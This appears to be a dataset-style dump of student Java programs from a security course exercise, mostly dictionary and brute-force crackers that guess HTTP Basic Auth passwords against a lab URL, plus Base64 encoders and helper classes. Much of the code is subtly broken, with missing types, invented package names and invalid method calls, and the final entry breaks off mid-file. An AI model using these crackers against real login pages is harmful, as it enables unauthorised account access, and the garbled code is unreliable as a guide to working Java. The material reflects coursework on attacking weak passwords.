+     public static String  encode ( byte [ ]  octetString )
+     {
+        int  bits24;
+        int  bits6;
+
+       char [ ]  out
+          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
+
+       int outIndex = 0;
+        int i        = 0;
+
+       while ( ( i + 3 ) <= octetString.length )
+       {
+          
+          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0000003F );
+          out [ outIndex++ ] = alphabet [ bits6 ];
+       }
+
+       if ( octetString.length - i == 2 )
+       {
+          
+          bits24  = ( octetString [ i     ] & 0xFF ) << 16;
+          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;
+
+          bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+         
+          out [ outIndex++ ] = '=';
+        }
+        else if ( octetString.length - i == 1 )
+        {
+          
+          bits24 = ( octetString [ i ] & 0xFF ) << 16;
+
+          bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+          
+          out [ outIndex++ ] = '=';
+          out [ outIndex++ ] = '=';
+        }
+
+       return new String ( out );
+     }
+}
+
+"
+061.java,"
+
+import java.io.*;
+import java.util.*;
+import java.net.*;
+
+
+public class Dictionary {
+
+	public static void main(String[] args) {
+
+	String attackURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+	String userID = """";
+	String Password="""";
+	String userPassword="""";
+
+	File inputFile = new File(""/usr/share/lib/dict/words"");
+        FileReader fin = null;
+        BufferedReader bf  = null;
+
+	try {
+		 startmillisecond = System.currentTimeMillis();
+	        URL url = new URL(attackURL);
+	        fin = new FileReader(inputFile);
+	        bf = new BufferedReader(fin);
+		int count = 0;
+	        while ((Password = bf.readLine()) !=null) {
+	                if (Password.length() < 4) {
+				count++;
+				try {
+					userPassword = userID + "":"" + Password;
+					System.out.println(""User & Password :"" + userPassword);
+				        String encoding = Base64Converter.encode (userPassword.getBytes());
+				
+					URLConnection uc = url.openConnection();
+					uc.setRequestProperty  (""Authorization"", "" "" + encoding);
+					InputStream content = (InputStream)uc.getInputStream();
+					BufferedReader in = new BufferedReader (new InputStreamReader (content));
+					String line;
+					while ((line = in.readLine()) != null) {
+			            
+					System.out.println(line);
+				        }
+					 endmillisecond = System.currentTimeMillis();
+					 searchmillisecond = endmillisecond - startmillisecond;
+					System.out.println(""Match in "" + searchmillisecond + "" milliseconds "");
+					System.out.println(""Try in "" + count + "" times "");
+		                System.exit(1);
+
+				} catch (MalformedURLException e) {
+			       		System.out.println(""Invalid URL"");
+				} catch (IOException e) {
+		      			System.out.println(""Error  URL"");
+				}
+			}
+		}
+	}
+	catch (Exception ioe) {
+            	System.out.println(ioe.getMessage());
+        }
+        finally {
+        }
+   }
+
+}
+"
+041.java,"
+
+public class Base64 {
+
+
+static public char[] encode(byte[] data)
+{
+    char[] out = new char[((data.length + 2) / 3) * 4];
+
+    
+    
+    
+    
+    for (int i=0, index=0; i<data.length; i+=3, index+=4) {
+        boolean quad = false;
+        boolean trip = false;
+
+        int bat = (0xFF & (int) data[i]);
+        bat <<= 8;
+        if ((i+1) < data.length) {
+            bat |= (0xFF & (int) data[i+1]);
+            trip = true;
+        }
+        bat <<= 8;
+        if ((i+2) < data.length) {
+           bat  |= (0xFF & (int) data[i+2]);
+            quad = true;
+        }
+        out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
+        bat >>= 6;
+        out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
+        bat >>= 6;
+        out[index+1] = alphabet[bat & 0x3F];
+        bat >>= 6;
+        out[index+0] = alphabet[ bat & 0x3F];
+    }
+    return out;
+}
+
+  
+static public byte[] decode(char[] data)
+{
+    
+    
+    
+    
+    
+    
+
+    int tempLen = data.length;
+    for( int ix=0; ix<data.length; ix++ )
+    {
+        if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
+            --tempLen;  
+    }
+    
+    
+    
+    
+
+    int len = (tempLen / 4) * 3;
+    if ((tempLen % 4) == 3) len += 2;
+    if ((tempLen % 4) == 2) len += 1;
+
+    byte[] out = new byte[len];
+
+
+
+    int shift = 0;   
+    int accum = 0;   
+    int index = 0;
+
+    
+    for (int ix=0; ix<data.length; ix++)
+    {
+        int value = (data[ix]>255)? -1: codes[ data[ix] ];
+
+        if ( value >= 0 )           
+        {
+            accum <<= 6;            
+            shift += 6;             
+            accum |= value;         
+            if ( shift >= 8 )       
+            {
+                shift -= 8;         
+                out[index++] =      
+                    (byte) ((accum >> shift) & 0xff);
+            }
+        }
+        
+        
+        
+        
+        
+        
+    }
+
+    
+    if( index != out.length)
+    {
+        throw new Error(""Miscalculated data length (wrote "" + index + "" instead of "" + out.length + "")"");
+    }
+
+    return out;
+}
+
+
+
+
+
+static private char[] alphabet =
+    ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=""
+        .toCharArray();
+
+
+
+
+static private byte[] codes = new byte[256];
+static {
+    for (int i=0; i<256; i++) codes[i] = -1;
+    for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');
+    for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
+    for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
+    codes['+'] = 62;
+    codes['/'] = 63;
+}
+}"
+052.java,"
+
+import java.net.*;
+import java.io.*;
+import java.misc.*;
+
+public class BruteForce
+{
+   public static void main (String args[])
+   {
+      
+      char[ ] var  = {
+                       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+                       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+                       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+                       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+                       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+                       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+                       'w', 'x', 'y', 'z'                        
+                       };
+
+      
+
+      String password;
+
+      int m=0;
+      
+      for(int i=0; i<52; i++)
+      {
+         for(int j=0; j<52; j++)
+         {
+            for(int k=0; k<52; k++)
+            {
+               m++;
+               password = """";
+               password = new String(""""+var[i]+var[j]+var[k]);
+               String a = myurl(""http://sec-crack.cs.rmit.edu./SEC/2"", """", password,m );
+            }
+         }
+      }
+   }
+
+   public static String encode (String source)
+   {
+      BASE64Encoder enc = new source.misc.BASE64Encoder();
+      return(enc.encode(source.getBytes()));
+   }
+
+   
+   public static String myurl (String url, String Name, String Password, int num )
+   {
+      String thisLine;
+      String retVal;
+      URL u;
+      URLConnection uc;
+      retVal = """";
+
+      try
+      {
+         u = new URL(url);
+         try
+         {
+            
+            uc = u.openConnection();
+            if (Name != null)
+            {
+               uc.setRequestProperty(""Authorization"", "" "" + encode(Name + "":"" + Password));
+            }
+            InputStream content = (InputStream)uc.getInputStream();
+            BufferedReader in = new BufferedReader (new InputStreamReader(content));
+
+            String line;
+
+            
+            while ((line = in.readLine()) != null)
+            {
+               retVal += line;
+               System.out.println(line);
+               System.out.println(""password=""+Password+""; number:""+num);
+               System.exit(0);
+            }
+         }
+         catch (Exception e)
+         {
+            
+            
+         }
+      }
+      catch (MalformedURLException e)
+      {
+         return(url + "" is not a parseable URL"");
+      }
+      return retVal;
+   }
+}
+
+
+"
+098.java,"
+
+import java.net.*;
+import java.io.*;
+
+public class Dictionary{
+
+       private String passwd = """";              
+       private String command = """";             
+       private String fname = ""/usr/share/lib/dict/words""; 
+       private BufferedReader readin;          
+       private BufferedReader in;              
+       private PrintWriter  out;               
+
+       private int startTime = 0;             
+       private int endTime = 0;               
+       private int totalTimes = 0;            
+       
+       private boolean bfind = false;
+       
+       public Dictionary(){}
+       
+       public void readPasswd(){
+              startTime = System.currentTimeMillis();
+              try{
+                  readin = new BufferedReader(new FileReader(fname));
+				  while ((passwd = readin.readLine()) !=null){
+                   		 if(bfind)
+                   		    break;
+                         connection(passwd.trim());
+				  }
+				  readin.print();
+			  }catch (FileNotFoundException e1){System.out.println(e1.getMessage());}
+			   catch (IOException e2 ){System.out.println(e2.getMessage());}
+	   }
+       
+       public void connection(String passwd){
+              command = ""lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:"";
+              command = command + passwd;
+              try{
+                  System.out.println(passwd +""-->  Establishing a connection."");
+                  Runtime runtime = Runtime.getRuntime();
+                  Process p = runtime.exec(command);
+                  in = new BufferedReader(new InputStreamReader(p.getInputStream()));
+                  String inStr;
+                  while((inStr = in.readLine())!= null){
+                        if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1||
+                            inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){
+                            endTime = System.currentTimeMillis();
+                            totalTimes = endTime - startTime;
+                            System.out.println(""\nDictionary Crack Passwd successful, PassWord is "" + passwd);
+                            System.out.println(""Total Times is "" + totalTimes + "" milliSec"");
+                            System.out.println(""Writing it  dictpswd.txt file\n"");
+                            out = new PrintWriter(new BufferedWriter(new FileWriter(""dictpswd.txt"")));
+                            out.println(""Dictionary Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec"");
+                            out.println(""Passwd: ""+ passwd);
+                            out.flush();
+                            bfind = true;
+                        }
+                        out.print();
+                  }
+                  in.print();
+              }catch(Exception e){System.out.println(e.getMessage());}
+       }
+       
+       public String getAnyKey()throws Exception{
+		      BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
+		      String key= stdin.readLine();
+	          return key;
+	   }
+	   
+       public static void main (String []args){
+
+              Dictionary dc = new Dictionary();
+              System.out.println(""\n*******************************************"");
+              System.out.println(""*                                         *"");
+              System.out.println(""*     Dictionary Crack Passwd Program     *"");
+              System.out.println(""*    ---------------------------------    *"");
+              System.out.println(""*          Author:              *"");
+              System.out.println(""*                                         *"");
+              System.out.println(""*******************************************"");
+              System.out.println(""\n  Dictionary Crack Passwd Information: \n"");
+              System.out.println(""--> UserName: "");
+              System.out.println(""--> Passwd from the dictionary file: ""+ dc.fname);
+              System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\n"");
+              System.out.println(""==> Press Ctrl+C  stop Crack\n"");
+              System.out.print(""==> Press EnterKey  : "");
+			  try{
+                  String key = dc.getAnyKey();
+              }catch(Exception e){System.out.println(e.getMessage());}
+			  dc.readPasswd();
+       }
+}"
+193.java,"
+
+
+
+
+import java.io.IOException;
+import java.net.*;
+
+import java.io.*;
+import java.util.*;
+
+
+
+public class Dictionary
+
+{
+
+
+   static URL url = null;
+   static URLConnection urlConnection;
+   static InputStream urlStream;
+
+   static String strOneLetterWords[];
+   static String strTwoLetterWords[];
+   static String strThreeLetterWords[];
+
+   static String strExceptionPassword[];
+
+   static String strLastPasswordTested;
+   static String username = """";
+
+   static int intNumberOfOneLetterWords   = 0;
+   static int intNumberOfTwoLetterWords   = 0;
+   static int intNumberOfThreeLetterWords = 0;
+
+   static int intExceptionCount = -1;
+
+   static int intNumberOfConnectionAttempts = 0;
+   static int intTotalNumberOfWordsInFile = 0;
+
+
+
+
+   public static void main (String args[])
+   
+   {
+
+
+         
+         
+      Calendar calStart;
+      Calendar calFinish;   
+      Date dateStart;
+      Date dateFinish;
+       lngStart;
+       lngFinish;
+
+
+
+      String strLine;
+      String strTextFileName = ""/usr/share/lib/dict/words"";
+
+      boolean boolPasswordFound = false;
+      boolean boolExceptionPasswordsTestedAgain = false;
+
+
+
+
+      String urlString
+            = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+
+      int intCounter1;
+      int intCounter2;
+      int intCounter3;
+
+      int intTotalNumberOfWordsChecked = 0;
+
+
+
+         
+         
+      calStart  = new GregorianCalendar();
+      dateStart = calStart.getTime();
+      lngStart  = dateStart.getTime();          
+
+
+
+         
+         
+         
+         
+         
+      strExceptionPassword = new String[5000];
+
+
+         
+         
+      getNumberOfVariousLengthsOfWords(strTextFileName);
+
+
+         
+         
+      strOneLetterWords   = new String[intNumberOfOneLetterWords];
+      strTwoLetterWords   = new String[intNumberOfTwoLetterWords];
+      strThreeLetterWords = new String[intNumberOfThreeLetterWords];
+
+
+         
+         
+      populateTheDifferentLengthArrays(strTextFileName);
+
+
+
+
+      if (!boolPasswordFound) 
+      {
+
+
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
+         {
+
+            boolPasswordFound = true;
+
+            boolPasswordFound = passwordWasFound(urlString,
+                                                 strOneLetterWords[intCounter1],
+                                                 boolPasswordFound);
+
+            intCounter1++;
+
+            intTotalNumberOfWordsChecked++;
+
+         }
+
+
+
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) )
+         {
+
+            boolPasswordFound = true;
+
+            boolPasswordFound = passwordWasFound(urlString,
+                                                 strTwoLetterWords[intCounter1],
+                                                 boolPasswordFound);
+
+            intCounter1++;
+
+            intTotalNumberOfWordsChecked++;
+
+         }
+
+
+
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) )
+         {
+
+            boolPasswordFound = true;
+
+            boolPasswordFound = passwordWasFound(urlString,
+                                                 strThreeLetterWords[intCounter1],
+                                                 boolPasswordFound);
+
+            intCounter1++;
+
+            intTotalNumberOfWordsChecked++;
+
+         }
+
+
+
+            
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
+         {
+
+            intCounter2 = 0; 
+
+            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
+            {
+
+               boolPasswordFound = true;
+
+               boolPasswordFound 
+                   = passwordWasFound(urlString,
+                                      strOneLetterWords[intCounter1] + 
+                                              strOneLetterWords[intCounter2],
+                                      boolPasswordFound);  
+
+               intCounter2++;
+
+               intTotalNumberOfWordsChecked++;
+
+            }
+
+
+            intCounter1++;
+
+         }
+
+
+
+            
+            
+            
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
+         {
+
+            intCounter2 = 0; 
+
+            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
+            {
+
+               intCounter3 = 0; 
+
+               while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) )
+               {
+
+                  boolPasswordFound = true;
+
+                  boolPasswordFound 
+                      = passwordWasFound(urlString,
+                                         strOneLetterWords[intCounter1]         + 
+                                                 strOneLetterWords[intCounter2] +
+                                                 strOneLetterWords[intCounter3],
+                                         boolPasswordFound);  
+
+                  intCounter3++;
+
+                  intTotalNumberOfWordsChecked++;
+
+               }
+
+
+               intCounter2++;
+
+            }
+
+
+            intCounter1++;
+
+         }
+
+
+
+            
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
+         {
+
+            intCounter2 = 0; 
+
+            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) )
+            {
+
+               boolPasswordFound = true;
+
+               boolPasswordFound 
+                   = passwordWasFound(urlString,
+                                      strOneLetterWords[intCounter1] + 
+                                              strTwoLetterWords[intCounter2],
+                                      boolPasswordFound);  
+
+               intCounter2++;
+
+               intTotalNumberOfWordsChecked++;
+
+            }
+
+
+            intCounter1++;
+
+         }
+
+
+
+            
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) )
+         {
+
+            intCounter2 = 0; 
+
+            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
+            {
+
+               boolPasswordFound = true;
+
+               boolPasswordFound 
+                   = passwordWasFound(urlString,
+                                      strTwoLetterWords[intCounter1] + 
+                                              strOneLetterWords[intCounter2],
+                                      boolPasswordFound);  
+
+               intCounter2++;
+
+               intTotalNumberOfWordsChecked++;
+
+            }
+
+
+            intCounter1++;
+
+         }
+
+
+
+            
+            
+            
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
+         {
+
+            boolExceptionPasswordsTestedAgain = true;
+            boolPasswordFound = true;
+
+            boolPasswordFound 
+                = passwordWasFound(urlString,
+                                   strExceptionPassword[intCounter1],
+                                   boolPasswordFound);  
+
+            intCounter1++;
+
+            intTotalNumberOfWordsChecked++;
+
+         }
+
+      }   
+
+
+
+         
+         
+      calFinish  = new GregorianCalendar();
+      dateFinish = calFinish.getTime();
+      lngFinish  = dateFinish.getTime();      
+
+
+         
+         
+      System.out.println();
+      System.out.println();
+
+
+      System.out.println();
+      System.out.println(""Length of time for processing: "" + 
+                         ((lngFinish - lngStart) / 1000)   + 
+                         "" seconds"");
+
+
+      System.out.println();
+      System.out.println(""Total number of words in dictionary file = "" + intTotalNumberOfWordsInFile);
+
+
+      System.out.println();
+      System.out.println(""Input file:  number of words with one letter length   = "" + intNumberOfOneLetterWords);
+      System.out.println(""Input file:  number of words with two letter length   = "" + intNumberOfTwoLetterWords);
+      System.out.println(""Input file:  number of words with three letter length = "" + intNumberOfThreeLetterWords);
+
+
+      System.out.println();
+      System.out.println(""Number of connection attempts = "" + intTotalNumberOfWordsChecked);
+
+
+      System.out.println();
+      System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1));
+      System.out.println();
+
+
+      if (intExceptionCount >= 0)
+      {
+         System.out.print(""These passwords WERE "");
+
+         if (boolExceptionPasswordsTestedAgain)
+            System.out.print(""tested again."");
+         else
+            System.out.print(""NOT tested again."");
+
+         System.out.println();
+      }
+
+
+      if (boolPasswordFound) 
+      {
+         System.out.println(""The correct password WAS found - this password is '"" + 
+                            strLastPasswordTested + ""'."");
+      } 
+      else
+      {
+         System.out.println(""The correct password WAS NOT found."");
+      } 
+            
+      System.out.println();
+
+   }
+
+
+
+
+
+
+
+   static void getNumberOfVariousLengthsOfWords(String TextFileName)
+   
+   {
+
+      FileReader reader;
+      BufferedReader inTextFile = null;
+
+      String strLine;
+      int intWordLength;
+
+
+
+      try
+      {      
+ 
+            
+            
+            
+            
+         reader = new FileReader(TextFileName);
+
+            
+            
+            
+            
+         inTextFile = new BufferedReader(reader);
+
+
+         strLine = inTextFile.readLine();
+
+
+         while (strLine != null)
+         {
+
+            intTotalNumberOfWordsInFile++;
+
+            strLine = strLine.trim();
+
+            intWordLength = strLine.length();
+
+
+               
+               
+            if (intWordLength == 1)
+               intNumberOfOneLetterWords++;
+
+               
+               
+            else if (intWordLength == 2) 
+               intNumberOfTwoLetterWords++;
+
+               
+               
+            else if (intWordLength == 3)
+               intNumberOfThreeLetterWords++;
+
+
+            strLine = inTextFile.readLine();
+
+         }
+
+      }
+
+      catch(FileNotFoundException e)
+      {
+
+            
+            
+         System.out.println();
+         System.out.println(""The file '"" + TextFileName + ""' cannot  found."");
+         System.out.println();
+
+      }
+
+      catch(Exception e)
+      {
+
+      }
+
+      finally
+      {
+
+         try
+         {
+            inTextFile.print();
+         }
+         catch(Exception e)
+         {
+         }
+
+         inTextFile = null;
+         reader = null;
+
+      }
+
+   }      
+
+
+
+
+
+
+   static void populateTheDifferentLengthArrays(String TextFileName)
+   
+   {
+
+      FileReader reader;
+      BufferedReader inTextFile = null;
+
+      String strLine;
+      int intWordLength;
+
+      int intCountOfOneLetterWords   = -1;
+      int intCountOfTwoLetterWords   = -1;
+      int intCountOfThreeLetterWords = -1;
+
+
+
+      try
+      {      
+ 
+            
+            
+            
+            
+         reader = new FileReader(TextFileName);
+
+            
+            
+            
+            
+         inTextFile = new BufferedReader(reader);
+
+
+         strLine = inTextFile.readLine();
+
+
+         while (strLine != null)
+         {
+
+            strLine = strLine.trim();
+            intWordLength = strLine.length();
+
+
+               
+               
+            if (intWordLength == 1)
+            {
+               intCountOfOneLetterWords++;
+               strOneLetterWords[intCountOfOneLetterWords] = strLine;
+            }
+
+               
+               
+            else if (intWordLength == 2) 
+            {
+
+               intCountOfTwoLetterWords++;
+               strTwoLetterWords[intCountOfTwoLetterWords] = strLine;
+            }
+
+               
+               
+            else if (intWordLength == 3)
+            {
+               intCountOfThreeLetterWords++;
+               strThreeLetterWords[intCountOfThreeLetterWords] = strLine;
+            }
+
+            strLine = inTextFile.readLine();
+
+         }
+
+      }
+
+      catch(FileNotFoundException e)
+      {
+
+            
+            
+         System.out.println();
+         System.out.println(""The file '"" + TextFileName + ""' cannot  found."");
+         System.out.println();
+
+      }
+
+      catch(Exception e)
+      {
+         System.out.println(""Exception thrown...."");
+         System.err.println(e);
+      }
+
+      finally
+      {
+
+         try
+         {
+            inTextFile.print();
+         }
+         catch(Exception e)
+         {
+         }
+
+         inTextFile = null;
+         reader = null;
+
+      }
+
+   }
+
+
+
+
+
+
+
+   static boolean passwordWasFound(String urlString,
+                                   String password,
+                                   boolean retVal)
+   
+   {
+
+      String strEncodeInput = username + "":"" + password;
+      boolean returnValue = retVal;
+      boolean boolExceptionThrown = false;
+
+
+
+      try
+      {
+
+         strLastPasswordTested = password;
+ 
+         intNumberOfConnectionAttempts++;
+
+         url = new URL(urlString);
+
+         String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());
+
+
+         System.out.print(""username = "" + 
+                          username      + 
+                          ""    ""       +
+                          ""password = "" +
+                          password);
+
+
+
+         HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();
+
+         urlConnection.setRequestProperty(""Authorization"", 
+                                          "" "" + encoding);   
+
+         System.out.println(""    response  = "" + urlConnection.getResponseCode());
+
+         if (urlConnection.getResponseCode() == 401)
+         {
+            returnValue = false;         
+         }
+
+      }
+
+      catch (MalformedURLException m)
+      {
+         boolExceptionThrown = true;
+         returnValue = false;
+
+         System.err.println(m);
+         System.out.println(""Malformed URL Exception error"");
+      }
+
+      catch (IOException io)
+      {
+         boolExceptionThrown = true;
+         returnValue = false;
+
+         System.out.println(""IOException error"");
+         System.err.println(io); 
+      }
+
+      catch (Exception e)
+      {
+         boolExceptionThrown = true;
+         returnValue = false;
+
+         System.out.println(""General exception....."");
+         System.err.println(e); 
+      }
+
+      finally
+      { 
+         urlConnection = null;
+         url = null; 
+      }
+
+
+      if (boolExceptionThrown)
+      {
+         intExceptionCount++;
+         strExceptionPassword[intExceptionCount] = password;
+      }
+
+
+      return returnValue;
+
+   }
+
+}"
+211.java,"
+import java.io.*;
+import java.net.*;
+
+public class BruteForce
+{
+
+  public static void  main(String args[])
+  {
+    StringWriter sw = new StringWriter();
+    PrintWriter  pw = new PrintWriter();
+    int flag=1;
+    String[] letter = {""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",
+                        ""O"",""P"",""Q"",""R"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z"",""a"",""b"",""c"",
+                        ""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",
+                        ""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""""};
+
+    String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+    String thePassword= new String();
+     stime = System.currentTimeMillis();
+System.out.println("""");
+    for(int i=0; i<letter.length;i++)
+    {
+      for(int j=0; j<letter.length; j++)
+      {
+        for(int k=0;flag==1 && k<letter.length; k++)
+        {
+          try {
+            URL url = new URL (urlString);
+            thePassword=letter[i].trim()+letter[j].trim()+letter[k].trim();
+
+            String userPassword = """" + "":"" + thePassword;
+
+            String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
+            URLConnection uc = url.openConnection();
+            uc.setRequestProperty(""Authorization"", "" "" + encoding);
+            InputStream content = (InputStream)uc.getContent();
+             endtime = System.currentTimeMillis();
+            BufferedReader in   =
+                      new BufferedReader (new InputStreamReader (content));
+            String line;
+            while ((line = in.readLine()) != null) {
+            pw.println (line);
+            }
+            flag=0;
+            System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds."");
+          }catch (MalformedURLException e) {
+
+           flag=1;
+          }catch (IOException e) {
+
+           flag=1;
+          }
+        }
+        if(flag==0)
+          break;
+        else
+         System.out.println(""letter j ->""+ letter[j]+"" elapsed"");
+      }
+      if(flag==0)
+         break;
+      else
+         System.out.println(""letter i ->""+ letter[i]+"" elapsed"");
+    }
+    System.out.println(""content is ""+ sw.toString());
+   }
+ }"
+135.java,"
+
+
+
+
+
+import java.util.*;
+import java.io.*;
+
+public class WatchDog
+{	
+
+	public static void main(String args[])
+	{
+
+           Runtime rt1 = Runtime.getRuntime();
+	   Process prss1= null;
+
+           try
+            {
+             prss1 = rt1.exec(""wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/"");
+            }catch(java.io.IOException e){}
+
+	   MyWatchDogTimer w = new MyWatchDogTimer();
+	   Timer time = new Timer();
+	   time.schedule(w,864000000,864000000);
+
+		
+	}
+}
+"
+049.java,"import java.net.*;
+import java.io.*;
+import java.*;
+import java.Runtime.*;
+import java.Object.*;
+import java.util.*;
+import java.util.StringTokenizer;
+
+
+public class ReadFile
+{
+  private StringTokenizer tokenizer;
+  private BufferedReader bf;
+  private String line;
+  private String first;
+  Vector in = new Vector();
+  
+  public void loadFile()throws NoSuchElementException, IOException
+  {
+    System.out.println(""in loadFile"");
+    try{
+    bf = new BufferedReader(new FileReader(""words""));
+    }
+    catch(FileNotFoundException fe){}
+    catch(IOException io){}
+    while((line = bf.readLine())!=null)
+      {
+
+        int index = 0;
+        tokenizer = new StringTokenizer(line);
+        try
+	   {
+	     first = tokenizer.nextToken();
+	     
+	     
+	     if (first.length() == 3)
+	     {
+		in.add(first);
+	     }
+	  }
+        catch(NoSuchElementException n)
+	   {
+          System.out.println(""File Loaded Succesfully"");
+
+        }
+
+      }
+   }
+   public Vector getVector()
+   {
+    return in;
+   }
+   public static void main (String args[])
+   {
+     Vector v = new Vector();
+     try
+     {
+       System.out.println(""in "");
+	 ReadFile  rf = new ReadFile();
+       rf.loadFile();
+       v = rf.getVector();
+	 
+     }
+     catch(IOException e)
+     {
+      System.out.println(e);
+     }
+     System.out.println(""size:"" + v.size());
+     for (int i = 0; i< v.size(); i++)
+      {
+        System.out.println(i+1+ "":"" + v.elementAt(i));
+      }
+     
+     
+   }
+   
+}
+"
+123.java,"
+
+import java.net.*;
+import java.io.*;
+	
+
+class MyAuthenticator  extends Authenticator {
+
+   String password;
+
+   public MyAuthenticator(String pwdin) {
+       password = pwdin;
+   }
+      
+   protected PasswordAuthentication getPasswordAuthentication(){
+	String  pwd = password;
+	return new PasswordAuthentication("""",pwd.toCharArray());
+   }
+}
+"
+018.java,"
+
+import java.util.*;
+import java.net.*;
+import java.io.*;
+import javax.swing.*;
+
+
+
+public class ParsingImgLink
+{
+    String url, imgLink, line;
+
+    public ParsingImgLink( String baseURL, String str )
+    {
+        url = baseURL;
+        line = str;
+        parsingLine();
+    }
+
+    public void parsingLine()
+    {
+        int  end;
+        String imgURLStr = null;
+        if( ( url = line.indexOf(""src=\"""") ) != -1 )
+        {
+            String subStr = line.substring(+5);
+            end   = subStr.indexOf(""\"""");
+            imgURLStr = subStr.substring( 0, end );
+            System.out.println(imgURLStr);
+        }
+        else if( ( end = line.indexOf(""SRC=\"""")) != -1 )
+        {
+            String subStr = line.substring(+5);
+            end   = subStr.indexOf(""\"""");
+            imgURLStr = subStr.substring( 0, end );
+            System.out.println(imgURLStr);
+        }
+
+        if( imgURLStr.indexOf(""://"") == -1 )
+        {
+            try
+            {
+                URL    baseURL = new URL( url );
+                URL imgURL  = new URL( baseURL, imgURLStr );
+                imgLink = imgURL.toString();
+            }
+            catch( MalformedURLException mue )
+            {
+                String msg = ""Unable  parse URL !"";
+                System.err.println( msg );
+            }
+        }
+    }
+
+    public String getImgLink()
+    {
+        return imgLink;
+    }
+} "
+125.java,"import java.net.*;
+import java.io.*;
+
+public  class BruteForce
+{
+	public BruteForce(String u,String uname) throws Exception
+	{
+		String pass="""";
+		try
+		{
+			String []chr={""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",
+					""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",
+					""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",
+					""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",
+					""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};
+			URL url=new URL(u);
+			PasswordAuthentication pa;
+			MyAuthenticator =new MyAuthenticator();
+			HttpURLConnection h;
+			int c=0;
+			for(int i=1;i<=52;i++)
+			{
+				c++;
+				pass=""""+chr[i-1];
+				pa=new PasswordAuthentication(uname,pass.toCharArray());
